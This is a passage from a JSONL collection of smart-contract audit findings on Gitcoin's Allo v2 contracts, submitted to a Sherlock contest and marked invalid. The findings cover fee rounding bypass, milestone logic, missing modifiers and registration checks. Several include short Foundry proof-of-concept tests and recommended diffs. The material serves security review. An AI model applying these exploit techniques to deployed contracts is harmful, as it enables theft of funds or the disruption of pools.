[0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [67024] Allo::fundPool{value: 3000000000000010000}(1, 2000000000000000000 [2e18])\n ā”‚ ā”œā”€ [0] console::e3849f79(00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000001bc16d674ec8000000000000000000000000000011cdd8c4b40352e593942e66b1cca5dc28e391b400000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 2000000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] console::e3849f79(00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f62849f9a0b5bf2913b396098f7c7019b51a820a00000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [40] 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a::fallback()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [2707] 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a::increasePoolAmount(0)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit PoolFunded(poolId: 1, amount: 0, fee: 2000000000000000000 [2e18])\n ā”‚ ā””ā”€ ā† ()\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.14ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n\n
\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThere are two way to solve this:\n1. Add fix fee\n2. Add a `maxFee` variable for the percentFee and make sure that necessary checks are done in `_updatePercentFee` function for checking that.\n\nFor example: \n```diff\n function _updatePercentFee(uint256 _percentFee) internal {\n- if (_percentFee > 1e18 ) revert INVALID_FEE();\n- \n+ if (_percentFee > 1e18 || maxFee < _percentFee) revert INVALID_FEE();\n percentFee = _percentFee;\n\n emit PercentFeeUpdated(percentFee);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/931.md"}} +{"title":"Every milestone can be rejected","severity":"info","body":"Blunt Carmine Lynx\n\nmedium\n\n# Every milestone can be rejected\n\nIn **RfpSimpleStrategy** there is a mechanism to `rejectMilestones` function in case the `acceptedRecipient` doesnā€™t get certain results, but now it can be used to reject every milestone, regardless of whether it was submitted via the `submitUpcommingMilestone` function.\n\n## Vulnerability Detail\n\nLetā€™s look at a practical example:\n\n1. A pool is created and **poolManager** sets n count of milestones through `setMilestone` function, adding them to milestones array, for example, 3 milestones, identified by numbers: 0, 1, 2\n\n```solidity\nsrc: [allo-v2/contract/strategies/rfp-simple/RfpSimpleStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L224-L247) [[click for link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L224-L247)]\n\n/// @notice Set the milestones for the acceptedRecipientId.\n/// @dev 'msg.sender' must be a pool manager to set milestones. Emits 'MilestonesSet' event\n/// @param _milestones Milestone[] The milestones to be set\nfunction setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n}\n```\n\n1. The recipient registers himself through `registerRecipient` function and gets accepted from **poolManager** as a user who is eligible for a reward in `_allocate` .\n\n```solidity\nsrc: [allo-v2/contract/strategies/rfp-simple/RfpSimpleStrategy.sol#L395](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L395) [[click for link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L395)]\nacceptedRecipientId = abi.decode(_data, (address));\n```\n\n1. **acceptedRecipient** submits a milestone through `submitUpcomingMilestone` which will change the status of the milestone 0 to **Pending**, but if the **poolManager** is not satisfied with the results related to that milestone he can call `rejectMilestones` before **acceptedRecipient** calls `submitUpcomingMilestone` and reject milestone 0, which at the moment won not be in a Pending state. (Also, the manager can reject other milestones that in the future may be considered pending by the **acceptedRecipient**, which is undesirable behavior.)\n\n```solidity\nsrc: [allo-v2/contract/strategies/rfp-simple/RfpSimpleStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L280-L290) [[click for link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L280-L290)]\n/// @notice Reject pending milestone submmited by the acceptedRecipientId.\n/// @dev 'msg.sender' must be a pool manager to reject a milestone. Emits a 'MilestoneStatusChanged()' event.\n/// @param _milestoneId ID of the milestone\nfunction rejectMilestone(uint256 _milestoneId) external onlyPoolManager(msg.sender) {\n // Check if the milestone is already accepted\n if (milestones[_milestoneId].milestoneStatus == Status.Accepted) revert MILESTONE_ALREADY_ACCEPTED();\n\n milestones[_milestoneId].milestoneStatus = Status.Rejected;\n\n emit MilestoneStatusChanged(_milestoneId, milestones[_milestoneId].milestoneStatus);\n}\n```\n\n1. But as we can see there is no relationship between acceptedRecipient and the milestone allowing the **poolManager** to pass any arbitrary `_milestoneId`, except to accepted ones - even milestones that are not with status of **Pending**. \nThe function is intended to reject only the upcomingMilestone and move to the next one, if any.\n\n> *Note: **All milestones will be set to Status.None* initially (Sponsor confirmed)**\n> \n\n## Impact\n\nSee the explanation in the Vulnerability Details section.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L249-L271\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L280-L290\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\nFile: [allo-v2/contract/strategies/rfp-simple/RfpSimpleStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L280-L290) \n\n/// @notice Reject pending milestone submmited by the acceptedRecipientId.\n/// @dev 'msg.sender' must be a pool manager to reject a milestone. Emits a 'MilestoneStatusChanged()' event.\n/// @param _milestoneId ID of the milestone\nfunction rejectMilestone(uint256 _milestoneId) external onlyPoolManager(msg.sender) {\n // Check if the milestone is already accepted\n if (milestones[_milestoneId].milestoneStatus == Status.Accepted) revert MILESTONE_ALREADY_ACCEPTED();\n\n+ if (milestones[_milestoneId].milestoneStatus != Status.Pending) revert INVALID_MILESTONE();\n\n milestones[_milestoneId].milestoneStatus = Status.Rejected;\n+ // Prevet the upcomingMilestone to stuck if check its status in _distribute\n+ upcomingMilestone++;\n\n emit MilestoneStatusChanged(_milestoneId, milestones[_milestoneId].milestoneStatus);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/930.md"}} +{"title":"Accepted recipient could get more amount than the `proposalBid` value","severity":"info","body":"Faithful Carrot Okapi\n\nmedium\n\n# Accepted recipient could get more amount than the `proposalBid` value\nIn the contract `RFPSimpleStrategy`, the function `setMilestones` is intended to set milestones at exactly 100%. However, the function allows multiple calls to be made, which may cause the `amountPercentage` of milestones to exceed 100%, resulting in extra funds being transferred to the `approvedRecipientId` beyond the intended amount.\n\n## Vulnerability Detail\nThe `setMilestones` function permits the `poolManager` to set milestones using the `setMilestones` function. This is checked to ensure that milestones are not already set by the following condition:\n\n```solidity \nif (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n```\nHowever, multiple calls can be made until the `_distribute` function is invoked, which increments the value of `upcomingMilestone`. This could cause the `amountPercentage` to exceed 100%.\n\nBefore `acceptedRecipient` submits the milestone, if `setMilestones` function is called again, milestones would be pushed to array at end and there is no check to ensure the total percentage in the array is less equal to 100. So adding milestones twice would give the recipient 200% of the recipient bid.\n\n\n## Impact\n\nIf the `proposalBid` of `acceptedRecipientId` is less than the `poolAmount`, the `recipientAddress` of `acceptedRecipientId` receives more tokens, than the issued limit (100%).\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L228\n\n## POC\n\n```solidity\n/// File: RFPSimpleStrategy.t.sol\n\n function testMilestones() public {\n __setMilestones();\n __setMilestones();\n uint totalPercentage;\n for (uint x; x < 4;) {\n (uint percentage_, , ) = strategy.milestones(x);\n totalPercentage += percentage_;\n unchecked {\n x++;\n }\n }\n assertEq(totalPercentage, 2e18); // 200%\n }\n```\n\n## Tool used\nManual Review, Foundry\n\n## Recommendation\n```diff\nfunction setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n- if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n+ if (milestones.length != 0) revert MILESTONES_ALREADY_SET();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/929.md"}} +{"title":"Gas Efficient Square Root Calculation with Binary Search Approach","severity":"info","body":"Dancing Lemonade Stork\n\nmedium\n\n# Gas Efficient Square Root Calculation with Binary Search Approach\n\nAn Ethereum Improvement Proposal (EIP) introducing a gas-efficient method for computing square roots in Solidity using a binary search algorithm, aiming to reduce gas consumption for contracts that require such computations.\n\n## Vulnerability Detail\n\nThe vulnerability does not pertain to security but rather to efficiency. qv-base strategy contracts, especially often require square root computations. The widely adopted Babylonian method, based on Newtonā€™s approach, consumes varying amounts of gas depending on the input size. The proposed binary search method provides a more consistent and in many cases, a more gas-efficient way to compute square roots, especially for larger input sizes.\n\n## Impact\n\nBased on [EIP-7054](https://ethereum-magicians.org/t/eip-7054-gas-efficient-square-root-calculation-with-binary-search-approach/14539) and [my local tests](https://github.com/Aghas2408/sqrt_gas_test) from 1E+18 values there is around 5.3x gas optimization, and because in QVBaseStrategy.sol input of **_sqrt** function alwats multiplied with 1E+18 value, there is possible a lot of gas optimization by switching to **Square Root Calculation with Binary Search Approach**.\n\n## Code Snippet\n\nQVBaseStrategy.sol\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L487C1-L497C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L499C2-L535C1\n\n## Tool used\n\nForge\nManual Review\n\n## Recommendation\n\nConsider implementing the binary search-based square root function to optimize gas usage.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/928.md"}} +{"title":"Admin can assign manager roles to invalid addresses during pool creation","severity":"info","body":"Little Fuchsia Toad\n\nhigh\n\n# Admin can assign manager roles to invalid addresses during pool creation\nAdmin can mistakenly assign manager roles to an extruder who is not a member of a profile\n## Vulnerability Detail\n During pool creation, the manager addresses passed into the _createPool function are not crosschecked to asses if they are a member of a profile before assigning manager roles to them.\n If an admin whether intentionally, mistakenly or randomly adds wrong addresses as manager roles. Although \"registry.isOwnerOrMemberOfProfile\" was called initially during pool creation to confirm profile owner. It was is not used to assess if addresses are valid and part of a profile. Thereby allowing extruder addresses to gain managerial roles and manipulate contract by causing denial of service attacks to recipients and causing managerial errors detrimental to normal functioning of the contract.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L467\n## Impact\nHIGH\n## Code Snippet\n`\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));`\n\n` // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n`\n## Tool used\n\nManual Review\n\n## Recommendation\nthe isOwnerOrMemberOfProfile function from the registry contract should be utilized again during pool creation to ascertain if manager addresses are valid addresses.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/927.md"}} +{"title":"RfpCommitteeStrategy._allocate() lacks `onlyActivePool` modifier","severity":"info","body":"Blunt Carmine Lynx\n\nmedium\n\n# RfpCommitteeStrategy._allocate() lacks `onlyActivePool` modifier\n\n`_allocate` which is overridden in RfpCommitteeStrategy from RfpSimple is lacking an important check for whether the pool is active in order to accept new recipient who will be eligible for reward in `_distribute`.\n\n## Vulnerability Detail\n\nThe vulnerability arises from the wrong assumptions of the developers that overridden functions inherit all the modifiers from the parent contract, which in this case is RfpSimple. \n\nLetā€™s look at the `_allocate` definition in both contracts:\n\n```solidity\nsrc: [allo-v2/contract/strategies/rfp-simple/RfpSimple.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386C5-L392C33)\n\nfunction _allocate(bytes memory _data, address _sender)\ninternal\nvirtual\noverride\nnonReentrant\nonlyActivePool\nonlyPoolManager(_sender)\n```\n\n```solidity\nsrc: allo-v2/contract/strategies/rfp-simple/RfpCommitteeStrategy.sol\n\nfunction _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n```\n\nFrom there we can state that there wonā€™t be any validation whether the pool is inactive when poolManager calls `_allocate`. \n\n## Impact\n\n`_allocate` will be callable even when the pool is closed, which is not intended by the docs and protocol sponsors.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L138\n\n### PoC\n\nThere is a piece of dummy code to have an overview of the architecture of the 2 contracts (RfpSimple and RfpCommittee), which we discussed with the sponsors and agreed over: \n\n```solidity\ncontract TestOverride{\n bool public isActive = false;\n\n modifier onlyActive{\n if(!isActive){\n revert();\n }\n _;\n }\n\n function tst() external virtual onlyActive{\n //do smth\n }\n}\n\ncontract Test is TestOverride{\n function tst() external override{\n //do smth 2x\n }\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider applying `onlyActivePool` in the overridden function as well.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/926.md"}} +{"title":"`registerRecipient` is not sending the ETH value while calling strategy's `registerRecipient` function","severity":"info","body":"Faithful Carrot Okapi\n\nmedium\n\n# `registerRecipient` is not sending the ETH value while calling strategy's `registerRecipient` function\nETH is not forwarded to `registerRecipient` in` BaseStrategy` as `registerRecipient` in `Allo` is not sending ETH value with the call to `strategy.registerRecipient`\n\n## Vulnerability Detail\nThe registerRecipient in BaseStrategy.sol is a payable function. In Allo.sol contract registerRecipient function which calls the strategy's registerRecipient is not sending ETH value with the call. So ETH cannot be send along the call.\n\n## Impact\nStrategies which require ETH in custom hook implementations like `_beforeRegisterRecipient` and `_afterRegisterRecipient` will fail.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L165\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSend Eth with the call\n```js\npools[_poolId].strategy.registerRecipient{value: msg.value}(_data, msg.sender);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/925.md"}} +{"title":"Donation strategy allocate() & distribute() can be called in the same block","severity":"info","body":"Boxy Clay Ladybug\n\nmedium\n\n# Donation strategy allocate() & distribute() can be called in the same block\nIn `DonationVotingMerkleDistributionBaseStrategy.sol` the functions `allocate()` and `distribute()` can be called in the same block contrary to developers assumptions. This could lead to issues with integration of the strategy by other smart contracts or off-chain components\n## Vulnerability Detail\nThe implementations of the mentioned modifiers - `_checkOnlyActiveAllocation` & `_checkOnlyAfterAllocation` does not work according to the developer's assumptions when `block.timestamp = allocationEndTime`. The issue is that `_checkOnlyAfterAllocation()` won't revert since `block.timestamp` isn't `<` `allocationEndTime` (they are equal), therefore at the `allocationEndTime` block both `allocate()` and `distribute()` can be executed in the same block which shouldn't be allowed.\n## Impact\nThis could lead to integration issues with smart contracts / off-chain systems\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L219-L231\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L465-L478\n## Tool used\n\nManual Review\n\n## Recommendation\nRework the after allocation modifier to such\n```solidity\nfunction _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp <= allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/921.md"}} +{"title":"Non-profiled users can register as recipients in `RfpSimpleStrategy`","severity":"info","body":"Blunt Carmine Lynx\n\nmedium\n\n# Non-profiled users can register as recipients in `RfpSimpleStrategy`\n\nWhen `useRegistryAnchor` is false non-profile users can bypass `_isProfileMember` check in `_registerRecipient` because of a wrong **logical operator** being used (&&).\n\n## Vulnerability Detail\n\nA user who is not either the admin or manager of a profile can register in a pool by bypassing the most important check in the `_registerRecipient` function. The attack is simple and is possible when `useRegistryAnchor` is false. The way it can be done is simple: \n\n1. Pool owner creates a pool with `useRegistryAnchor` = false, it cannot be changed in a later stage of the strategy.\n\n```solidity\nfunction __RFPSimpleStrategy_init(uint256 _poolId, InitializeParams memory _initializeParams) internal {\n // Initialize the BaseStrategy\n __BaseStrategy_init(_poolId);\n\n // Set the strategy specific variables\n\t\t//@audit that is the variable that we care for\n useRegistryAnchor = _initializeParams.useRegistryAnchor;\n metadataRequired = _initializeParams.metadataRequired;\n _registry = allo.getRegistry();\n _increaseMaxBid(_initializeParams.maxBid);\n\n // Set the pool to active - this is required for the strategy to work and distribute funds\n // NOTE: There may be some cases where you may want to not set this here, but will be strategy specific\n _setPoolActive(true);\n}\n```\n\n1. Malicious user passes **address(0)** as an argument for `registryAnchor`. \n2. **isUsingRegistryAnchor** = false and **recipientId** = _sender aka. (msg.sender), and after that the ******if****** check at line 345, will pass without revert\n\n```solidity\nelse {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n345:if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n}\n```\n\n## Impact\n\nPossibility of spamming the contract and hitting the uint256 limit of **recipientIds** array.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L333-L346\n\n### PoC\n\nInsert the PoC in the `allo-v2/test/foundry/strategies/RFPSimpleStrategy.t.sol` contract in order to validate the issue.\n\nRun: `forge test --match-test test_user_can_register_even_if_he_is_not_profile_member`\n\n```solidity\n\nfunction test_user_can_register_even_if_he_is_not_profile_member() public {\n address sender = recipient();\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n //@audit just have to pass address(0) as registryAnchor, then this if will pass:\n //if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n //becuase isUsingRegistryAnchor will be false and _isProfileMember won't be executed\n bytes memory data = abi.encode(recipientAddress(), address(0), 1e18, metadata);\n vm.prank(randomAddress());\n address registeredRecipient = allo().registerRecipient(poolId, data);\n}\n```\n\n## Tool used\n\nManual Review, Foundry\n\n## Recommendation\n\nConsider authorizing users without using variables that can be manipulated by a user.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/916.md"}} +{"title":"when creating a pool, users are forced to overpay basefee","severity":"info","body":"Atomic Burlap Meerkat\n\nhigh\n\n# when creating a pool, users are forced to overpay basefee\nWhen creating a pool, users are forced to overpay the basefee\n## Vulnerability Detail\nin the function `_createPool`. we see this logic.\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nThe problem with the logic above is that when the `_token` is not NATIVE, users are forced to overpay the `baseFee`\n\n```solidity\n(_token != NATIVE && baseFee >= msg.value))\n```\nthis is where the problem is, if token is not native and baseFee is greater than or equal to msg.value, the call will revert. This is not correct because if a user sets msg.value to the basefee, his tx will revert. \n\nPOC\n\n1. user wants to create pool\n2. user calls `_createPool` with an erc 20 as the token, not NATIVE\n3. The base fee is 100 so user sets the msg.value to 100.\n4. because of this incorrect check, `(_token != NATIVE && baseFee >= msg.value))` his tx will revert\n5. user is forced to set his msg.value to something higher in order to create a pool successfully\n6. user sets msg.value to 110, 100 is taken as the baseFee and the remaining 10 is stuck in the contract\n\nThis happens each time a pool is to be created, while the amount lost is low, after so many pool creations, the lost ether will add up. And because there is no accounting of who overpaid the baseFee by how much, it is virtually impossible to return the overpaid fee back to the users.\n## Impact\nUsers will overpay `baseFee` each time when creating pools, because there is no accounting of these overpaid fees, it is virtually impossible to return the lost funds to the users. Creating pools is a key function that will be called very frequently, each time a user will lose funds due to overpaying `baseFee`\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L469-L477\n## Tool used\n\nManual Review\n\n## Recommendation\nchange >= to >\n\nbefore\n```solidity\n(_token != NATIVE && baseFee >= msg.value)\n```\nafter\n```solidity\n(_token != NATIVE && baseFee > msg.value)\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/914.md"}} +{"title":"Executions that require native tokens currently wouldn't get processed","severity":"info","body":"Late Plum Fly\n\nmedium\n\n# Executions that require native tokens currently wouldn't get processed\n## Summary\n\nAs seen from this [line of `execute()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Anchor.sol#L78)\n\n```solidity\n\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n```\n\nThe target address is being called and it could be called with a value, issue is that the execute function itself is not `payable` which means that all executions that require native tokens would fail.\n\n## Vulnerability Detail\n\nSee summary\n\nNote that, [from the docs](https://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Anchor.md#external-functions), the below has been stated:\n\n> execute: Execute a call to a target address, sending a specified amount of native tokens and data. Only the profile owner can initiate this operation.\n\nAdditionally take a look at [Anchor.sol#L64-L84](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Anchor.sol#L64-L84)\n\n```solidity\n /// @notice Execute a call to a target address\n /// @dev 'msg.sender' must be profile owner\n /// @param _target The target address to call\n /// @param _value The amount of native token to send\n /// @param _data The data to send to the target address\n /// @return Data returned from the target address\n function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n }\n\n```\n\nAs seen from referenced code... even this line ` /// @param _value The amount of native token to send` has stated a clear intention of having value sent but this wouldn't work due to the lack of `payable`\n\n## Impact\n\nProfile owners wouldn't be able to call target addresses on executions that need them to send native tokens... additionally, since `execute()` is the only function present in the contract there is currently no way to remove any native token that's been transferred into Anchor, except if contracts gets upgraded.\n\n## Code Snippet\n[Anchor.sol#L64-L84](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Anchor.sol#L64-L84)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMake `execute()` payable\n\n```diff\n- function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n+ function execute(address _target, uint256 _value, bytes memory _data) payable external returns (bytes memory) {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/912.md"}} +{"title":"[MEDIUM]Allo#_fundPool","severity":"info","body":"Massive Misty Cormorant\n\nmedium\n\n# [MEDIUM]Allo#_fundPool\n\nThe **`_fundPool`** function in the Allo smart contract allows for a fee avoidance mechanism when a user funds the pool with small amounts of the pool token. This creates a loophole that undermines the intended fee structure.\n\n## Vulnerability Detail\n\nThe **`_fundPool`** function is designed to collect a fee amount, calculated as a percentage of the user's contribution to the pool. However, the function does not account for the scenario where users pay in small amounts, potentially avoiding the fee altogether.\n\nConsider this scenario: \n\n- The `percentFee` is set to `1e15` (e.g. 0.1%). Considering that the `feeDenominator` is `1e18` the `_amount` can be set to a uint up to `1e3 -1` in order for the `feeAmount` to round down to 0, and the user has avoided paying any fees at all.\n- See the following calculation:\n\n```solidity\nfeeAmount = (1e3 - 1) * 1e15 / 1e18 = 0\n```\n\n## Impact\n\nThe financial impact of this loophole could be significant, especially if many users exploit it. The treasury, intended to collect fees from each transaction, may collect less than expected, undermining the financial model of the Allo ecosystem.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo mitigate this vulnerability, consider implementing the following:\n\n1. Introduce a minimum threshold for contributions that are subject to fees. Any contribution below this threshold could either be rejected or subjected to a flat minimum fee.\n2. Consider adding a 